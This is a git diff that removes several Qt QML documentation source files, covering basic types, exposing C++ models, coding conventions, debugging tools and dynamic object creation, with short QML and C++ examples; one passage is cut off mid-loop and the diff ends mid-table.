@@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qml-basictypes.html - \ingroup qml-features - \title QML Basic Types - \brief basic data types in QML - - QML has a set of primitive types, as listed below, that are used throughout - the \l {QML Elements}. - - \annotatedlist qmlbasictypes - - To create additional types, such as data types created in C++, read the - \l{Creating QML Types} article. -*/ - -/*! - \qmlbasictype int - \ingroup qmlbasictypes - - \brief An integer is a whole number, e.g. 0, 10, or -20. - - An integer is a whole number, e.g. 0, 10, or -20. The possible \c - int values range from around -2000000000 to around 2000000000, - although most elements will only accept a reduced range (which they - mention in their documentation). - - Example: - \qml - Item { width: 100; height: 200 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype bool - \ingroup qmlbasictypes - - \brief A boolean is a binary true/false value. - - A boolean is a binary true/false value. - - Example: - \qml - Item { focus: true; clip: false } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype real - \ingroup qmlbasictypes - - \brief A real number has a decimal point, e.g. 1.2 or -29.8. - - A real number has a decimal point, e.g. 1.2 or -29.8. - - Example: - \qml - Item { width: 100.45; height: 150.82 } - \endqml - - \b{Note:} In QML all reals are stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype double - \ingroup qmlbasictypes - - \brief A double number has a decimal point and is stored in double precision. - - A double number has a decimal point and is stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - Example: - \qml - Item { - property double number: 32155.2355 - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype string - \ingroup qmlbasictypes - - \brief A string is a free form text in quotes, e.g. "Hello world!". - - A string is a free form text in quotes, e.g. "Hello world!". - - Example: - \qml - Text { text: "Hello world!" } - \endqml - - Strings have a \c length attribute that holds the number of - characters in the string. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype url - \ingroup qmlbasictypes - - \brief A URL is a resource locator, like a file name. - - A URL is a resource locator, like a file name. It can be either - absolute, e.g. "http://qt.nokia.com", or relative, e.g. - "pics/logo.png". A relative URL is resolved relative to the URL of - the component where the URL is converted from a JavaScript string - expression to a url property value. - - Example: - \qml - Image { source: "pics/logo.png" } - \endqml - - Note that as QML requires URL paths, you should use "qrc:///" instead of ":/" for - referring to files stored with the \l{resources.html}{Qt Resource System}. - Usually you will only have to do this once, because relative URLs resolved from - that file will use the same protocol. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype color - \ingroup qmlbasictypes - - \brief A color is a standard color name in quotes. - - A color is a standard color name in quotes. It is normally specified - as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG - color name}. These names include colors like "red", "green" and - "lightsteelblue". - - If the color you want isn't part of this list, colors can also be - specified in hexidecimal triplets or quads that take the form \c - "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color - red corresponds to a triplet of \c "#FF0000" and a slightly - transparent blue to a quad of \c "#800000FF". - - Example: - \div{float-right} - \inlineimage declarative-colors.png - \enddiv - \snippet doc/src/snippets/qml/colors.qml colors - - Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, - \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: - - \qml - Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype point - \ingroup qmlbasictypes - - \brief A point type has x and y attributes. - - A \c point type has \c x and \c y attributes. - - To create a \c point value, specify it as a "x,y" string: - - \qml - CustomObject { myPointProperty: "0,20" } - \endqml - - Or use the \l{QML:Qt::point()}{Qt.point()} function: - - \qml - CustomObject { myPointProperty: Qt.point(0, 20) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype size - \ingroup qmlbasictypes - - \brief A size type has width and height attributes - - A \c size type has \c width and \c height attributes. - - For example, to read the \l {Image::sourceSize} \c size property: - - \qml - Column { - Image { id: image; source: "logo.png" } - Text { text: image.sourceSize.width + "," + image.sourceSize.height } - } - \endqml - - To create a \c size value, specify it as a "width x height" string: - - \qml - LayoutItem { preferredSize: "150x50" } - \endqml - - Or use the \l{QML:Qt::size()}{Qt.size()} function: - - \qml - LayoutItem { preferredSize: Qt.size(150, 50) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype rect - \ingroup qmlbasictypes - - \brief A rect type has x, y, width and height attributes. - - A \c rect type has \c x, \c y, \c width and \c height attributes. - - For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property: - \qml - Rectangle { - width: childrenRect.width - height: childrenRect.height - - Rectangle { width: 100; height: 100 } - } - \endqml - - To create a \c rect value, specify it as a "x, y, width x height" string: - - \qml - CustomObject { myRectProperty: "50,50,100x100" } - \endqml - - Or use the \l{QML:Qt::rect()}{Qt.rect()} function: - - \qml - CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype date - \ingroup qmlbasictypes - - \brief A date is specified as "YYYY-MM-DD". - - To create a \c date value, specify it as a "YYYY-MM-DD" string: - - Example: - \qml - MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } - \endqml - - To read a date value returned from a C++ extension class, use - \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype time - \ingroup qmlbasictypes - - \brief A time is specified as "hh:mm:ss". - - A time is specified as "hh:mm:ss". - - Example: - \qml - MyTimePicker { time: "14:22:15" } - \endqml - - To read a time value returned from a C++ extension class, use - \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - Note that when converting historical times to and from javascript that QDateTime and the JS Date object - have different methods of calculating historical daylight savings time application. This can lead to variations of one hour - when converting to historical local time. - - \sa {QML Basic Types} - */ - -/*! - \qmlbasictype font - \ingroup qmlbasictypes - - \brief A font type has the properties of a QFont. - - A font type has the properties of a QFont. The properties are: - - \list - \li \c string font.family - \li \c bool font.bold - \li \c bool font.italic - \li \c bool font.underline - \li \c real font.pointSize - \li \c int font.pixelSize - \endlist - - Example: - \qml - Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype action - \ingroup qmlbasictypes - - \brief The action type has all the properties of QAction. - - The action type has all the properties of QAction. The properties - are: - - \list - \li \c slot action.trigger - invoke the action - \li \c bool action.enabled - true if the action is enabled - \li \c string action.text - the text associated with the action - \endlist - - Actions are used like this: - - \qml - Item { - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype list - \ingroup qmlbasictypes - - \brief A list of objects. - - A list type contains a list of objects. While not technically - a basic type, QML supports lists of object types. When used - from QML, the engine automatically appends each value to the list. - Items in the list can be accessed by index using the usual - \c listName[index] syntax. - - For example, the \l Item class contains a list property named - children that can be used like this: - - \qml - Item { - children: [ - Item { id: child1 }, - Rectangle { id: child2; width: 200 }, - Text { id: child3 } - ] - - Component.onCompleted: { - console.log("Width of child rectangle:", children[1].width) - } - } - \endqml - \c child1, \c child2 and \c child3 will be added to the children list - in the order in which they appear. - - List \l {Property Binding}{properties} can be created as a - \c variant type, or as a \c list type, where \c Type is the - type of the object in the list: - - \qml - Item { - property list rects: [ - Rectangle { width: 100; height: 100}, - Rectangle { width: 200; height: 200} - ] - } - \endqml - - A list property can only contain values that match (or are derived from) the - specified \c Type. - - While the \c rects property can be reassigned to a different list value (including - an empty list), its individual values cannot be modified. See the \l variant type - documentation for details. - - \sa {QML Basic Types} -*/ - - /*! - \qmlbasictype var - \ingroup qmlbasictypes - - \brief A var type is a generic property type. - - A var is a generic property type capable of storing any data type. - It is equivalent to a regular JavaScript variable. - For example, var properties can store numbers, strings, objects, - arrays and functions: - - \qml - Item { - property var aNumber: 100 - property var aBool: false - property var aString: "Hello world!" - property var anotherString: String("#FF008800") - property var aColor: Qt.rgba(0.2, 0.3, 0.4, 0.5) - property var aRect: Qt.rect(10, 10, 10, 10) - property var aPoint: Qt.point(10, 10) - property var aSize: Qt.size(10, 10) - property var aVector3d: Qt.vector3d(100, 100, 100) - property var anArray: [1, 2, 3, "four", "five", (function() { return "six"; })] - property var anObject: { "foo": 10, "bar": 20 } - property var aFunction: (function() { return "one"; }) - } - \endqml - - It is important to note that changes in regular properties of JavaScript - objects assigned to a var property will \b{not} trigger updates of bindings - that access them. The example below will display "The car has 4 wheels" as - the change to the wheels property will not cause the reevaluation of the - binding assigned to the "text" property: - - \qml - Item { - property var car: new Object({wheels: 4}) - - Text { - text: "The car has " + car.wheels + " wheels"; - } - - Component.onCompleted: { - car.wheels = 6; - } - } - \endqml - - If the onCompleted handler instead had \tt{"car = new Object({wheels: 6})"} - then the text would be updated to say "The car has 6 wheels"., since the - car property itself would be changed, which causes a change notification - to be emitted. - - A \c var type property can also hold an image or pixmap. - A \c var which contains a QPixmap or QImage is known as a - "scarce resource" and the declarative engine will attempt to - automatically release such resources after evaluation of any JavaScript - expression which requires one to be copied has completed. - - Clients may explicitly release such a scarce resource by calling the - "destroy" method on the \c var property from within JavaScript. They - may also explicitly preserve the scarce resource by calling the - "preserve" method on the \c var property from within JavaScript. - For more information regarding the usage of a scarce resource, please - see \l{Scarce Resources in JavaScript}. - - \sa {QML Basic Types} -*/ - - -/*! - \obsolete - \qmlbasictype variant - \ingroup qmlbasictypes - - \brief A variant type is a generic property type. - - A variant is a generic property type. It is obsolete and exists only to - support old applications; new applications should use "var" type - properties instead. - - A variant type property can hold any of the \l {QML Basic Types}{basic type} - values: - - \qml - Item { - property variant aNumber: 100 - property variant aString: "Hello world!" - property variant aBool: false - } - \endqml - - A \c variant type property can also hold an image or pixmap. - A \c variant which contains a QPixmap or QImage is known as a - "scarce resource" and the declarative engine will attempt to - automatically release such resources after evaluation of any JavaScript - expression which requires one to be copied has completed. - - Clients may explicitly release such a scarce resource by calling the - "destroy" method on the \c variant property from within JavaScript. They - may also explicitly preserve the scarce resource by calling the - "preserve" method on the \c variant property from within JavaScript. - For more information regarding the usage of a scarce resource, please - see \l{Scarce Resources in JavaScript}. - - Finally, the \c variant type can also hold: - - \list - \li An array of \l {QML Basic Types}{basic type} values - \li A map of key-value pairs with \l {QML Basic Types}{basic-type} values - \endlist - - For example, below is an \c items array and an \c attributes map. Their - contents can be examined using JavaScript \c for loops. Individual array - values are accessible by index, and individual map values are accessible - by key: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - for (var i=0; i.}: - \qml - Text { horizontalAlignment: Text.AlignRight } - \endqml - - The second form is preferred. - - \sa {QML Basic Types} -*/ diff --git a/doc/src/qml/c++models.qdoc b/doc/src/qml/c++models.qdoc deleted file mode 100644 index e2f2f32..0000000 --- a/doc/src/qml/c++models.qdoc +++ /dev/null @@ -1,208 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-c++models.qdoc -\title Exposing C++ Models -\brief exposing Qt C++ models to the runtime - -Models can be defined in C++ and then made available to QML. This is useful -for exposing existing C++ data models or otherwise complex datasets to QML. - -A C++ model class can be defined as a \l QStringList, a \l QList or a -\l QAbstractItemModel. The first two are useful for exposing simpler datasets, -while QAbstractItemModel provides a more flexible solution for more complex -models. - - -\section1 QStringList-based Model - - A model may be a simple \l QStringList, which provides the contents of the list - via the \e modelData role. - - Here is a ListView with a delegate that references its model item's - value using the \c modelData role: - - \snippet examples/declarative/modelviews/stringlistmodel/view.qml 0 - - A Qt application can load this QML document and set the value of \c myModel - to a QStringList: - - \snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0 - - The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory. - - \b{Note:} There is no way for the view to know that the contents of a QStringList - have changed. If the QStringList changes, it will be necessary to reset - the model by calling QQmlContext::setContextProperty() again. - - -\section1 QObjectList-based model - - A list of QObject* values can also be used as a model. A QList provides - the properties of the objects in the list as roles. - - The following application creates a \c DataObject class that with - Q_PROPERTY values that will be accessible as named roles when a - QList is exposed to QML: - - \snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0 - \dots 4 - \snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1 - \codeline - \snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0 - \dots - - The QObject* is available as the \c modelData property. As a convenience, - the properties of the object are also made available directly in the - delegate's context. Here, \c view.qml references the \c DataModel properties in - the ListView delegate: - - \snippet examples/declarative/modelviews/objectlistmodel/view.qml 0 - - Note the use of the fully qualified access to the \c color property. - The properties of the object are not replicated in the \c model - object, since they are easily available via the \c modelData - object. - - The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory. - - Note: There is no way for the view to know that the contents of a QList - have changed. If the QList changes, it will be necessary to reset - the model by calling QQmlContext::setContextProperty() again. - - -\section1 QAbstractItemModel - - A model can be defined by subclassing QAbstractItemModel. This is the - best approach if you have a more complex model that cannot be supported - by the other approaches. A QAbstractItemModel can also automatically - notify a QML view when the model data has changed. - - The roles of a QAbstractItemModel subclass can be exposed to QML by calling - QAbstractItemModel::setRoleNames(). The default role names set by Qt are: - - \table - \header - \li Qt Role - \li QML Role Name - \row - \li Qt::DisplayRole - \li display - \row - \li Qt::DecorationRole - \li decoration - \endtable - - Here is an application with a QAbstractListModel subclass named \c AnimalModel - that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the - role names for accessing the properties via QML: - - \snippet examples/declarative/modelviews/abstractitemmodel/model.h 0 - \dots - \snippet examples/declarative/modelviews/abstractitemmodel/model.h 1 - \dots - \snippet examples/declarative/modelviews/abstractitemmodel/model.h 2 - \codeline - \snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0 - \codeline - \snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0 - \dots - - This model is displayed by a ListView delegate that accesses the \e type and \e size - roles: - - \snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0 - - QML views are automatically updated when the model changes. Remember the model - must follow the standard rules for model changes and notify the view when - the model has changed by using QAbstractItemModel::dataChanged(), - QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for - more information. - - The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory. - - QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML - can only display list data. - In order to display child lists of a hierarchical model - the VisualDataModel element provides several properties and functions for use - with models of type QAbstractItemModel: - - \list - \li \e hasModelChildren role property to determine whether a node has child nodes. - \li \l VisualDataModel::rootIndex allows the root node to be specified - \li \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex - \li \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex - \endlist - -\section1 Exposing C++ Data Models to QML - -The above examples use QQmlContext::setContextProperty() to set -model values directly in QML components. An alternative to this is to -register the C++ model class as a QML type from a QML C++ plugin using -QQmlExtensionPlugin. This would allow the model classes to be -created directly as elements within QML: - -\table -\row - -\li -\code -class MyModelPlugin : public QQmlExtensionPlugin -{ -public: - void registerTypes(const char *uri) - { - qmlRegisterType(uri, 1, 0, - "MyModel"); - } -} - -Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); -\endcode - -\li -\qml -MyModel { - id: myModel - ListElement { someProperty: "some value" } -} -\endqml - -\qml -ListView { - width: 200; height: 250 - model: myModel - delegate: Text { text: someProperty } -} -\endqml - -\endtable - -See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++ -plugins. - -*/ diff --git a/doc/src/qml/codingconventions.qdoc b/doc/src/qml/codingconventions.qdoc deleted file mode 100644 index 92d8ee1..0000000 --- a/doc/src/qml/codingconventions.qdoc +++ /dev/null @@ -1,126 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-coding-conventions.html -\title QML Coding Conventions -\brief code style convention - -This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. - -\section1 QML Objects - -Through our documentation and examples, QML objects are always structured in the following order: - -\list -\li id -\li property declarations -\li signal declarations -\li JavaScript functions -\li object properties -\li child objects -\li states -\li transitions -\endlist - -For better readability, we separate these different parts with an empty line. - - -For example, a hypothetical \e photo QML object would look like this: - -\snippet doc/src/snippets/qml/codingconventions/photo.qml 0 - - -\section1 Grouped Properties - -If using multiple properties from a group of properties, -we use the \e {group notation} rather than the \e {dot notation} to improve readability. - -For example, this: - -\snippet doc/src/snippets/qml/codingconventions/dotproperties.qml 0 - -can be written like this: - -\snippet doc/src/snippets/qml/codingconventions/dotproperties.qml 1 - - -\section1 Private Properties - -QML and JavaScript do not enforce private properties like C++. There is a need -to hide these private properties, for example, when the properties are part of -the implementation. As a convention, private properties begin with two -\e underscore characters. For example, \c __area, is a property that is -accessible but is not meant for public use. Note that QML and JavaScript will -grant the user access to these properties. - -\snippet doc/src/snippets/qml/codingconventions/private.qml 0 - - -\section1 Lists - -If a list contains only one element, we generally omit the square brackets. - -For example, it is very common for a component to only have one state. - -In this case, instead of: - -\snippet doc/src/snippets/qml/codingconventions/lists.qml 0 - -we will write this: - -\snippet doc/src/snippets/qml/codingconventions/lists.qml 1 - - -\section1 JavaScript Code - -If the script is a single expression, we recommend writing it inline: - -\snippet doc/src/snippets/qml/codingconventions/javascript.qml 0 - -If the script is only a couple of lines long, we generally use a block: - -\snippet doc/src/snippets/qml/codingconventions/javascript.qml 1 - -If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: - -\snippet doc/src/snippets/qml/codingconventions/javascript.qml 2 - -For long scripts, we will put the functions in their own JavaScript file and import it like this: - -\snippet doc/src/snippets/qml/codingconventions/javascript-imports.qml 0 - -*/ - - - - - - - - - diff --git a/doc/src/qml/debugging.qdoc b/doc/src/qml/debugging.qdoc deleted file mode 100644 index 462b2fe..0000000 --- a/doc/src/qml/debugging.qdoc +++ /dev/null @@ -1,166 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-debugging.html -\ingroup qtquick-tools -\title Debugging QML -\brief debugging tools in QML - -\section1 Console API - -\section2 Log - -\c console.log, console.debug, console.info, console.warn and console.error can be used to print -debugging information to the console. For example: - -\code -function f(a, b) { - console.log("a is ", a, "b is ", b); -} -\endcode - -The output is generated using the qDebug, qWarning, qCritical methods in C++ -(see also http://doc.qt.nokia.com/latest/debug.html#warning-and-debugging-messages). - -Setting the environment variable QML_CONSOLE_EXTENDED also prints the source -code location of the call. - -\section2 Assert - -\c console.assert tests that an expression is true. If not, it will write an optional message -to the console and print the stack trace. - -\qml -function f() { - var x = 12 - console.assert(x == 12, "This will pass"); - console.assert(x > 12, "This will fail"); -} -\endqml - -\section2 Timer - -\c console.time and console.timeEnd log the time (in milliseconds) that was spent between -the calls. Both take a string argument that identifies the measurement. For example: - -\code -function f() { - console.time("wholeFunction"); - console.time("firstPart"); - // first part - console.timeEnd("firstPart"); - // second part - console.timeEnd("wholeFunction"); -} -\endcode - -\section2 Trace - -\c console.trace prints the stack trace of JavaScript execution at the point where -it was called. The stack trace info contains function name, file name, line number -and column number. The stack trace is limited to last 10 stack frames. - -\section2 Count - -\c console.count prints the current number of times a particular piece of code has been executed, -along with a message. That is, - -\qml -function f() { - console.count("f called"); -} -\endqml - -will print \c{f called: 1}, \c{f called: 2} ... whenever \c{f()} is executed. - -\section2 Profile - -\c console.profile turns on the QML and JavaScript profilers. Nested calls are not -supported and a warning will be printed to the console. - -\c console.profileEnd turns off the QML and JavaScript profilers. Calling this function -without a previous call to console.profile will print a warning to the console. A -profiling client should have been attached before this call to receive and store the -profiling data. For example: - -\code -function f() { - console.profile(); - //Call some function that needs to be profiled. - //Ensure that a client is attached before ending - //the profiling session. - console.profileEnd(); -} -\endcode - -\section2 Exception - -\c console.exception prints an error message together with the stack trace of JavaScript -execution at the point where it is called. - -\section1 Debugging Transitions - -When a transition doesn't look quite right, it can be helpful to view it in slow -motion to see what is happening more clearly. This functionality is supported -in the \l {QML Viewer} tool: to enable this, -click on the "Debugging" menu, then "Slow Down Animations". - - -\section1 Debugging module imports - -The \c QML_IMPORT_TRACE environment variable can be set to enable debug output -from QML's import loading mechanisms. - -For example, for a simple QML file like this: - -\qml -import QtQuick 2.0 - -Rectangle { width: 100; height: 100 } -\endqml - -If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer} -(or your QML C++ application), you will see output similar to this: - -\code -QQmlImportDatabase::addImportPath "/qt-sdk/imports" -QQmlImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS" -QQmlImportDatabase::addToImport 0x106237370 "." -1.-1 File as "" -QQmlImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as "" -QQmlImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle" -\endcode - - -\section1 Debugging with Qt Creator - -\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in -support for QML debugging. QML projects and standalone C++ applications that -utilize QML can be debugged on desktops as well as on remote devices. -For more information, see the Qt Creator Manual. - -*/ diff --git a/doc/src/qml/dynamicobjects.qdoc b/doc/src/qml/dynamicobjects.qdoc deleted file mode 100644 index 55f131e..0000000 --- a/doc/src/qml/dynamicobjects.qdoc +++ /dev/null @@ -1,218 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-dynamicobjects.html -\ingroup qml-features -\title Dynamic Object Management in QML -\brief instantiating and managing QML objects - -QML provides a number of ways to dynamically create and manage QML objects. -The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements -all support dynamic object management. Objects can also be created and managed -from C++, and this is the preferred method for hybrid QML/C++ applications -(see \l{Using QML Bindings in C++ Applications}). - -QML also supports the dynamic creation of objects from within JavaScript -code. This is useful if the existing QML elements do not fit the needs of your -application, and there are no C++ components involved. - -See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration -of the concepts discussed on this page. - - -\section1 Creating Objects Dynamically - -There are two ways to create objects dynamically from JavaScript. You can either call -\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create -a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -to create an item from a string of QML. -Creating a component is better if you have an existing component defined in a \c .qml -file, and you want to dynamically create instances of that component. Otherwise, -creating an item from a string of QML is useful when the item QML itself is generated -at runtime. - - -\section2 Creating a Component Dynamically - -To dynamically load a component defined in a QML file, call the -\l {QML:Qt::createComponent()}{Qt.createComponent()} function in the -\l {QmlGlobalQtObject}{Qt object}. -This function takes the URL of the QML file as its only argument and creates -a \l Component object from this URL. - -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of -the component. This function can take one or two arguments: -\list -\li The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is - recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to - this function. -\li The second is optional and is a map of property-value items that define initial any property values for the item. - Property values specified by this argument are applied to the object before its creation is finalized, avoiding - binding errors that may occur if particular properties must be initialized to enable other property bindings. - when certain properties have been bound to before they have been set by the code. Additionally, there are small - performance benefits when compared to defining property values and bindings after the object is created. -\endlist - -Here is an example. First there is \c Sprite.qml, which defines a simple QML component: - -\snippet doc/src/snippets/qml/Sprite.qml 0 - -Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file -that will create \c Sprite objects: - -\snippet doc/src/snippets/qml/createComponent.qml 0 - -Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is -\c Component.Ready before calling \l {Component::createObject()}{createObject()} -in case the QML file is loaded over a network and thus is not ready immediately. - -\snippet doc/src/snippets/qml/componentCreation.js vars -\codeline -\snippet doc/src/snippets/qml/componentCreation.js func -\snippet doc/src/snippets/qml/componentCreation.js remote -\snippet doc/src/snippets/qml/componentCreation.js func-end -\codeline -\snippet doc/src/snippets/qml/componentCreation.js finishCreation - -If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation() -function and call \l {Component::createObject()}{createObject()} immediately: - -\snippet doc/src/snippets/qml/componentCreation.js func -\snippet doc/src/snippets/qml/componentCreation.js local -\snippet doc/src/snippets/qml/componentCreation.js func-end - -Notice in both instances, \l {Component::createObject()}{createObject()} is called with -\c appWindow passed as an argument so that the created object will become a child of the -\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene. - -When using files with relative paths, the path should -be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed. - -To connect signals to (or receive signals from) dynamically created objects, -use the signal \c connect() method. See -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - -It is also possible to instantiate components without blocking via the -\l {Component::incubateObject()}{incubateObject()} function. - - -\section2 Creating an Object from a String of QML - -If the QML is not defined until runtime, you can create a QML item from -a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example: - -\snippet doc/src/snippets/qml/createQmlObject.qml 0 - -The first argument is the string of QML to create. Just like in a new file, you will need to -import any types you wish to use. The second argument is the parent item for the new item; -this should be an existing item in the scene. The third argument is the file path to associate -with the new item; this is used for error reporting. - -If the string of QML imports files using relative paths, the path should be relative -to the file in which the parent item (the second argument to the method) is defined. - - -\section1 Maintaining Dynamically Created Objects - -When managing dynamically created items, you must ensure the creation context -outlives the created item. Otherwise, if the creation context is destroyed first, -the bindings in the dynamic item will no longer work. - -The actual creation context depends on how an item is created: - -\list -\li If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context - is the QQmlContext in which this method is called -\li If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} - if called, the creation context is the context of the parent item passed to this method -\li If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} - or \l {Component::incubateObject()}{incubateObject()} is called on that item, - the creation context is the context in which the \c Component is defined -\endlist - -Also, note that while dynamically created objects may be used the same as other objects, they -do not have an id in QML. - - -\section1 Deleting Objects Dynamically - -In many user interfaces, it is sufficient to set an item's opacity to 0 or -to move the item off the screen instead of deleting the item. If you have -lots of dynamically created items, however, you may receive a worthwhile -performance benefit if unused items are deleted. - -Note that you should never manually delete items that were dynamically created -by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting -items that you did not dynamically create yourself. - -Items can be deleted using the \c destroy() method. This method has an optional -argument (which defaults to 0) that specifies the approximate delay in milliseconds -before the object is to be destroyed. - -Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml -component. Each instance runs a NumberAnimation, and when the animation has finished, calls -\c destroy() on its root item to destroy itself: - -\table -\row -\li \c application.qml -\li \c SelfDestroyingRect.qml - -\row -\li \snippet 